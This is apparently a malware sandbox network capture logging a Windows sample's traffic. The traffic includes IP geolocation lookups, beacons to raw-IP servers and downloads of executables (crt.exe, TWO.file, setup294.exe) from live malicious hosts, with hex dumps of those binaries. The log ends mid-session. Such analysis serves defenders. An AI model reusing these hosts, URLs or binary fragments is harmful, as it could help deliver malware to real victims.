May 24, 2024 13:42:53.943629980 CEST	672	IN	Data Raw: 74 47 39 1f 75 43 6a 08 e8 70 1c 00 00 8b f0 59 89 75 f0 21 5d fc 85 f6 74 1e 8b 4d 0c e8 81 fe ff ff 50 8d 4d bc e8 0e f9 ff ff 43 c7 06 c4 df 41 00 83 66 04 00 eb 02 33 f6 89 37 f6 c3 01 74 08 8d 4d bc e8 cc fa ff ff 6a 02 58 e8 78 1c 00 00 c3 Data Ascii: tG9uCjpYu!]tMPMCAf37tMjXxj8tA}3]tC97u?jYEutMPMMCVP%7tMfjXUQIVW};ysAu3yt;xs@3
May 24, 2024 13:42:53.945424080 CEST	1236	IN	Data Raw: 10 c3 57 8b 79 0c 8d 41 3c 39 07 75 16 8b 51 50 56 8b 71 54 89 17 2b f2 8b 41 1c 89 10 8b 41 2c 89 30 5e 5f c3 55 8b ec 51 53 56 57 8b f9 8b 47 0c 8d 5f 3c 8b 08 3b cb 74 13 8b 47 2c 89 4f 50 8b 4f 1c 8b 00 03 01 89 47 54 8b 47 0c 89 18 8b 47 1c Data Ascii: WyA<9uQPVqT+AA,0^_UQSVWG_<;tG,OPOGTGGG,_^[UMhQBEPVF~vxyvqYv\|xY^yLtqLcYVWp@A_^SWLtV!_wL#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49866	185.172.128.90	80	5324	C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:53.998827934 CEST	411	OUT	GET /cpa/ping.php?substr=one&s=two HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 185.172.128.90 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:56.973088026 CEST	204	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:54 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 Data Ascii: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49877	5.42.65.64	80	5324	C:\Users\user\Documents\SimpleAdobe\l9lSJ9GGGlvKrfyivpacgPFW.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 13:42:57.036822081 CEST	388	OUT	GET /advdlc.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 5.42.65.64 Connection: Keep-Alive Cache-Control: no-cache
May 24, 2024 13:42:57.679668903 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:57 GMT Server: Apache/2.4.52 (Ubuntu) Pragma: public Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Cache-Control: private Content-Disposition: attachment; filename="TWO.file"; Content-Transfer-Encoding: binary Content-Length: 4608 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d9 07 c8 de 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 08 00 00 00 08 00 00 00 00 00 00 de 26 00 00 00 20 00 00 00 40 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 00 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c 26 00 00 4f 00 00 00 00 40 00 00 bc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 0c 00 00 00 ec 25 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL"0& @@ @&O@`%8 H.text `.rsrc@@@.reloc`@B&H\ (BSJBv4.0.30319l#~,H#Stringst#USx#GUID#BlobG3xZ!,IA
May 24, 2024 13:42:57.680334091 CEST	1236	IN	Data Raw: 01 06 00 0d 01 b6 01 06 00 26 01 b6 01 06 00 60 00 b6 01 06 00 35 00 ed 01 06 00 13 00 ed 01 06 00 94 00 b6 01 06 00 7b 00 88 01 06 00 40 02 aa 01 00 00 00 00 01 00 00 00 00 00 01 00 01 00 00 00 10 00 a2 01 c8 01 41 00 01 00 01 00 50 20 00 00 00 Data Ascii: &`5{@AP #R ;)19AIQYaiqy.).2.Q.#Z.+k.3k.;k
May 24, 2024 13:42:57.681663990 CEST	1236	IN	Data Raw: 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 53 44 53 a0 15 15 97 85 8b f1 42 9e d8 5b 24 f9 4f ab 34 01 00 00 00 43 3a 5c 55 73 65 72 73 5c 37 39 36 33 31 5c 73 6f 75 72 63 65 5c 72 65 70 6f 73 5c 47 63 6c 65 61 6e 65 72 61 70 70 Data Ascii: RSDSB[$O4C:\Users\79631\source\repos\Gcleanerapp\Gcleanerapp\obj\Release\Gcleanerapp.pdb&& &_CorExeMainmscoree.dll% @
May 24, 2024 13:42:57.684449911 CEST	1236	IN	Data Raw: 00 46 00 69 00 6c 00 65 00 6e 00 61 00 6d 00 65 00 00 00 47 00 63 00 6c 00 65 00 61 00 6e 00 65 00 72 00 61 00 70 00 70 00 2e 00 65 00 78 00 65 00 00 00 38 00 0c 00 01 00 50 00 72 00 6f 00 64 00 75 00 63 00 74 00 4e 00 61 00 6d 00 65 00 00 00 00 Data Ascii: FilenameGcleanerapp.exe8ProductNameGcleanerapp4ProductVersion1.0.0.08Assembly Version1.0.0.0C<?xml ver
May 24, 2024 13:42:57.684461117 CEST	71	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.67.75.163	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:41:59 UTC	187	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: api.myip.com
2024-05-24 11:41:59 UTC	563	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5tbMOA79g2MS2L9AWwLJ%2BdZPHObB4dlLguXgNTkshoiB1Ml180ddKedE6yjwdwaiveXag2O0fh3hFahIzZqqG4b0uEKQeWqRVyIMu6Pdq8Ru6jEntkrMkS8UAX%2BgxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d050e0843c35e-EWR
2024-05-24 11:41:59 UTC	63	IN	Data Raw: 33 39 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 39{"ip":"8.46.123.175","country":"United States","cc":"US"}
2024-05-24 11:41:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	34.117.186.192	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:00 UTC	237	OUT	GET /widget/demo/8.46.123.175 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: ipinfo.io
2024-05-24 11:42:00 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Fri, 24 May 2024 11:42:00 GMT content-type: application/json; charset=utf-8 Content-Length: 1028 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 11:42:00 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 37 35 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 31 37 35 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 Data Ascii: { "input": "8.46.123.175", "data": { "ip": "8.46.123.175", "hostname": "static-cpe-8-46-123-175.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Lev
2024-05-24 11:42:00 UTC	152	IN	Data Raw: 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: "email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49751	188.114.96.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:04 UTC	222	OUT	HEAD /jhgfd HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Cache-Control: no-cache Host: fleur-de-lis.sbs Connection: Keep-Alive
2024-05-24 11:42:05 UTC	890	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 11:42:05 GMT Content-Type: text/html; charset=utf-8 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Fri, 24 May 2024 11:42:04 GMT Location: /post/File_294/setup294.exe Set-Cookie: _subid=38akcjk2e94c8; expires=Mon, 24 Jun 2024 11:42:05 GMT; path=/ Set-Cookie: 3c8e6=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wic3RyZWFtc1wiOntcIjI0OVwiOjE3MTY1NTA5MjR9LFwiY2FtcGFpZ25zXCI6e1wiMjVcIjoxNzE2NTUwOTI0fSxcInRpbWVcIjoxNzE2NTUwOTI0fSJ9.lNB9KfD5N1rKMJGOoUZ3LB1bXp1R1joE5dDztID5k0o; expires=Sun, 16 Oct 2078 23:24:10 GMT; path=/ Set-Cookie: _token=uuid_38akcjk2e94c8_38akcjk2e94c866507d0d17ce53.65978647; expires=Mon, 24 Jun 2024 11:42:05 GMT; path=/ Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 888d05300e4f43be-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49755	188.114.96.3	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 11:42:04 UTC	203	OUT	GET /ssl/crt.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: lop.foxesjoy.com Cache-Control: no-cache
2024-05-24 11:42:05 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 11:42:05 GMT Content-Type: application/octet-stream Content-Length: 5534755 Connection: close Content-Description: File Transfer Content-Disposition: attachment; filename=crt.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QWuQ0V7EeL7r7NW5pwZ2crkivSCLeUEXrduBP7oeNOuvC2T2V%2BBe4HKFpzw%2FMiv4hS1GqNbzpWlwOTmlWKAbUeYtEW1U38FzUoZqDRI7sZ4R%2BOmtDX1SEc7O8o7xpm9NY980"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 888d05308e4243c8-EWR alt-svc: h3=":443"; ma=86400
2024-05-24 11:42:05 UTC	618	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 50 09 00 00 00 d0 00 00 00 0a 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 e0 00 00 00 00 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 00 00 00 02 00 00 00 a6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 b4 08 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 2c 00 00 00 10 01 00 00 2c 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 40 01 00 00 00 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 Data Ascii: .idataP@.tls.rdata@P.reloc@P.rsrc,,@P@@P
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: f0 75 1b 8b 42 04 01 43 08 8b 42 04 29 43 0c 83 7b 0c 00 75 44 8b c3 e8 35 ff ff ff eb 3b 8b 0a 8b 72 04 03 ce 8b f8 03 7b 0c 3b cf 75 05 29 73 0c eb 26 8b 0a 03 4a 04 89 0c 24 2b f9 89 7c 24 04 8b 12 2b d0 89 53 0c 8b d4 8b c3 e8 d0 fe ff ff 84 c0 75 04 33 c0 eb 0c b0 01 eb 08 8b 1b 3b fb 75 85 33 c0 59 5a 5d 5f 5e 5b c3 90 53 56 57 8b da 8b f0 81 fe 00 00 10 00 7d 07 be 00 00 10 00 eb 0c 81 c6 ff ff 00 00 81 e6 00 00 ff ff 89 73 04 6a 01 68 00 20 00 00 56 6a 00 e8 f8 fd ff ff 8b f8 89 3b 85 ff 74 23 8b d3 b8 3c c4 40 00 e8 6c fe ff ff 84 c0 75 13 68 00 80 00 00 6a 00 8b 03 50 e8 d9 fd ff ff 33 c0 89 03 5f 5e 5b c3 90 53 56 57 55 8b d9 8b f2 8b e8 c7 43 04 00 00 10 00 6a 04 68 00 20 00 00 68 00 00 10 00 55 e8 a5 fd ff ff 8b f8 89 3b 85 ff 75 1f 81 c6 ff Data Ascii: uBCB)C{uD5;r{;u)s&J$+\|$+Su3;u3YZ]_^[SVW}sjh Vj;t#<@luhjP3_^[SVWUCjh hU;u
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: d2 55 68 ce 19 40 00 64 ff 32 64 89 22 68 1c c4 40 00 e8 39 f9 ff ff 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 2e f9 ff ff b8 3c c4 40 00 e8 8c f9 ff ff b8 4c c4 40 00 e8 82 f9 ff ff b8 78 c4 40 00 e8 78 f9 ff ff 68 f8 0f 00 00 6a 00 e8 dc f8 ff ff a3 74 c4 40 00 83 3d 74 c4 40 00 00 74 2f b8 03 00 00 00 8b 15 74 c4 40 00 33 c9 89 4c 82 f4 40 3d 01 04 00 00 75 ec b8 5c c4 40 00 89 40 04 89 00 a3 68 c4 40 00 c6 05 15 c4 40 00 01 33 c0 5a 59 59 64 89 10 68 d5 19 40 00 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 af f8 ff ff c3 e9 29 14 00 00 eb e5 a0 15 c4 40 00 5d c3 55 8b ec 53 80 3d 15 c4 40 00 00 0f 84 ce 00 00 00 33 d2 55 68 b4 1a 40 00 64 ff 32 64 89 22 80 3d 32 c0 40 00 00 74 0a 68 1c c4 40 00 e8 66 f8 ff ff c6 05 15 c4 40 00 00 a1 74 c4 40 00 50 Data Ascii: Uh@d2d"h@9=2@th@.<@L@x@xhjt@=t@t/t@3L@=u\@@h@@3ZYYdh@=2@th@)@]US=@3Uh@d2d"=2@th@f@t@P
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: 84 c0 75 04 33 c0 eb 02 b0 01 59 5a 5b c3 90 53 56 83 c4 f8 8b f2 8b d8 8b cc 8d 56 04 8b c3 e8 cf f8 ff ff 83 3c 24 00 74 0b 8b c4 e8 26 ff ff ff 84 c0 75 04 33 c0 eb 02 b0 01 59 5a 5e 5b c3 8d 40 00 33 d2 c1 e8 02 3d 00 04 00 00 77 16 8b 15 74 c4 40 00 8b 54 82 f4 85 d2 75 08 40 3d 01 04 00 00 75 ea 8b c2 c3 8d 40 00 53 56 57 55 8b f0 bf 68 c4 40 00 bd 6c c4 40 00 8b 1d 60 c4 40 00 3b 73 08 0f 8e 84 00 00 00 8b 1f 8b 43 08 3b f0 7e 7b 89 73 08 8b 5b 04 3b 73 08 7f f8 8b 17 89 42 08 3b 1f 74 04 89 1f eb 63 81 fe 00 10 00 00 7f 0d 8b c6 e8 89 ff ff ff 8b d8 85 db 75 4e 8b c6 e8 1c ff ff ff 84 c0 75 07 33 c0 e9 88 00 00 00 3b 75 00 7f a4 29 75 00 83 7d 00 0c 7d 08 03 75 00 33 c0 89 45 00 a1 70 c4 40 00 01 35 70 c4 40 00 8b d6 83 ca 02 89 10 83 c0 04 ff 05 Data Ascii: u3YZ[SVV<$t&u3YZ^[@3=wt@Tu@=u@SVWUh@l@`@;sC;~{s[;sB;tcuNu3;u)u}}u3Ep@5p@
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: 44 24 04 7c 53 8b 44 24 04 29 05 6c c4 40 00 8b 44 24 04 01 05 70 c4 40 00 83 3d 6c c4 40 00 0c 7d 18 a1 6c c4 40 00 01 05 70 c4 40 00 03 35 6c c4 40 00 33 c0 a3 6c c4 40 00 8b c6 2b c7 01 05 00 c4 40 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 e9 a2 00 00 00 e8 55 f9 ff ff 8b dd 03 df f6 03 02 75 4d 8b d3 8b c2 8b 48 08 89 0c 24 8b 0c 24 3b 4c 24 04 73 0e 03 14 24 8b da 8b 04 24 29 44 24 04 eb 2c e8 66 f6 ff ff 8b 44 24 04 29 04 24 83 3c 24 0c 7c 0e 8b c5 03 c6 8b 14 24 e8 8d f8 ff ff eb 3a 03 34 24 8b dd 03 de 83 23 fe eb 2e 8b 03 a9 00 00 00 80 74 21 25 fc ff ff 7f 03 c3 8b d8 8b 54 24 04 8b c3 e8 e6 f9 ff ff 84 c0 74 09 8b dd 03 df e9 0d ff ff ff 33 c0 eb 19 8b c6 2b c7 01 05 00 c4 40 00 8b 45 00 25 03 00 00 80 0b f0 89 75 00 b0 01 59 5a 5d 5f 5e Data Ascii: D$\|SD$)l@D$p@=l@}l@p@5l@3l@+@E%uUuMH$$;L$s$$)D$,fD$)$<$\|$:4$#.t!%T$t3+@E%uYZ]_^
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: 07 8b 08 b2 01 ff 51 fc c3 57 89 d7 ab 8b 48 e8 31 c0 51 c1 e9 02 49 f3 ab 59 83 e1 03 f3 aa 89 d0 5f c3 8b c0 53 56 89 c3 8b 30 8b 56 d0 8b 76 ec 85 d2 74 07 e8 f3 0b 00 00 89 d8 85 f6 75 eb 5e 5b c3 8b c0 85 c0 74 10 8b 00 39 d0 74 08 8b 40 ec 85 c0 75 f5 c3 b0 01 c3 8d 40 00 57 93 8b 7b e0 85 ff 74 0d 0f b7 0f 51 83 c7 02 66 f2 af 74 0a 59 8b 5b ec 85 db 75 e5 5f c3 58 01 c0 29 c8 8b 5c 47 fc 5f c3 8b c0 39 d0 74 08 8b 40 ec 85 c0 75 f5 c3 b0 01 c3 90 8b 40 d4 c3 c3 8d 40 00 53 66 8b 1a 66 09 db 74 17 66 81 fb 00 c0 73 10 50 8b 00 e8 a4 ff ff ff 58 74 05 89 d9 5b ff e1 5b 8b 08 ff 61 f0 c3 90 53 56 57 31 c9 31 ff 8a 1a 8b 70 dc 85 f6 74 15 66 8b 3e 83 c6 02 8a 4e 06 38 d9 74 15 66 8b 0e 01 ce 4f 75 f1 8b 40 ec 85 c0 75 dd eb 18 8a 1a eb eb b5 00 8a 5c Data Ascii: QWH1QIY_SV0Vvtu^[t9t@u@W{tQftY[u_X)\G_9t@u@@SfftfsPXt[[aSVW11ptf>N8tfOu@u\
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: 50 68 8c 2e 40 00 52 e8 40 e3 ff ff 8b 44 24 04 8b 08 8b 50 18 81 f9 ce fa ed 0e 75 05 8b 40 14 eb 03 8b 40 0c 31 ed 64 8b 65 00 64 8f 45 00 5d c3 8d 40 00 5a 54 55 57 56 53 50 52 54 6a 07 6a 01 68 ce fa ed 0e 52 e9 f0 e2 ff ff c3 8d 40 00 8b 44 24 30 c7 40 04 1b 2f 40 00 e8 74 02 00 00 8b 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 0c 83 60 04 fd 81 38 ce fa ed 0e 74 0d 8b 42 08 e8 1f fa ff ff e8 02 fc ff ff 31 c0 83 c4 14 64 8b 10 59 8b 12 89 11 5d 5f 5e 5b b8 01 00 00 00 c3 8d 40 00 e8 2b 02 00 00 8b 90 00 00 00 00 8b 0a 89 88 00 00 00 00 8b 42 08 e8 e5 f9 ff ff 5a 8b 64 24 2c 31 c0 59 64 89 08 58 5d e8 7b fc ff ff ff e2 c3 31 d2 8b 4c 24 08 8b 44 24 04 83 c1 05 64 89 02 ff d1 c2 0c 00 c3 8b c0 89 14 24 e9 cd 0e 00 00 c3 8d 40 00 55 8b ec 8b 55 08 8b Data Ascii: Ph.@R@D$Pu@@1dedE]@ZTUWVSPRTjjhR@D$0@/@tB`8tB1dY]_^[@+BZd$,1YdX]{1L$D$d$@UU
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: c0 74 0a 8b 48 fc 01 ce e8 9e f2 ff ff 4b 75 e9 5a 58 85 d2 74 03 ff 4a f8 e8 f1 fd ff ff 5a 5e 5b 58 8d 24 94 ff e0 c3 8d 40 00 85 c0 74 09 8b 50 f8 42 7e 03 89 50 f8 c3 8b c0 85 c0 74 02 c3 00 b8 19 34 40 00 c3 8b 10 85 d2 74 2b 8b 4a f8 49 74 25 53 89 c3 8b 42 fc e8 1d fe ff ff 89 c2 8b 03 89 13 8b 48 f8 49 7c 03 89 48 f8 8b 48 fc e8 36 f2 ff ff 8b 13 5b 89 d0 c3 53 85 c0 74 2d 8b 58 fc 85 db 74 26 4a 7c 1b 39 da 7d 1f 29 d3 85 c9 7c 19 39 d9 7f 11 01 c2 8b 44 24 08 e8 fc fd ff ff eb 11 31 d2 eb e5 89 d9 eb eb 8b 44 24 08 e8 09 fd ff ff 5b c2 04 00 c3 85 c0 74 56 53 56 57 55 89 c3 89 d6 89 cf 8b 12 52 85 d2 74 03 8b 52 fc 4f 7d 02 31 ff 39 d7 7e 02 89 d7 8b 6b fc 89 f0 01 ea e8 2d 00 00 00 58 39 d8 75 02 8b 1e 8b 06 8d 14 2f 8b 48 fc 29 d1 01 c2 01 f8 Data Ascii: tHKuZXtJZ^[X$@tPB~Pt4@t+JIt%SBHI\|HH6[St-Xt&J\|9})\|9D$1D$[tVSVWURtRO}19~k-X9u/H)
2024-05-24 11:42:05 UTC	1369	IN	Data Raw: eb f0 66 81 fb 00 01 75 58 66 83 f8 08 75 0a 8b 45 ec e8 1b ff ff ff eb 52 66 c7 45 f0 00 00 8d 45 f0 66 b9 08 00 e8 97 fe ff ff 33 c0 55 68 8c 39 40 00 64 ff 30 64 89 20 8d 55 f0 8b 45 ec e8 ee fe ff ff 33 c0 5a 59 59 64 89 10 68 9d 39 40 00 8d 45 f0 e8 c1 fd ff ff c3 e9 6b f4 ff ff eb f0 8b 45 ec 8b cb e8 57 fe ff ff 5b 8b e5 5d c3 8b c0 66 81 3a 00 01 75 08 8b 52 08 e9 35 f8 ff ff 53 89 c3 83 ec 10 66 c7 04 24 00 00 89 e0 b9 00 01 00 00 e8 e9 fe ff ff 89 d8 e8 c6 f7 ff ff 8b 44 24 08 89 03 83 c4 10 5b c3 8d 40 00 e9 67 fd ff ff c3 8b c0 a1 90 c4 40 00 8b 10 89 15 90 c4 40 00 8b 50 04 89 15 24 c0 40 00 8b 40 08 ff d0 c3 8b 15 90 c4 40 00 89 10 8b 15 24 c0 40 00 89 50 04 a3 90 c4 40 00 c7 05 24 c0 40 00 e8 39 40 00 c3 8d 40 00 33 d2 89 50 10 89 50 0c 52 Data Ascii: fuXfuERfEEf3Uh9@d0d UE3ZYYdh9@EkEW[]f:uR5Sf$D$[@g@@P$@@@$@P@$@9@@3PPR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49761	146.70.56.165	443	6664	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.30302.14698.exe

Timestamp	Bytes transferred	Direction	Data
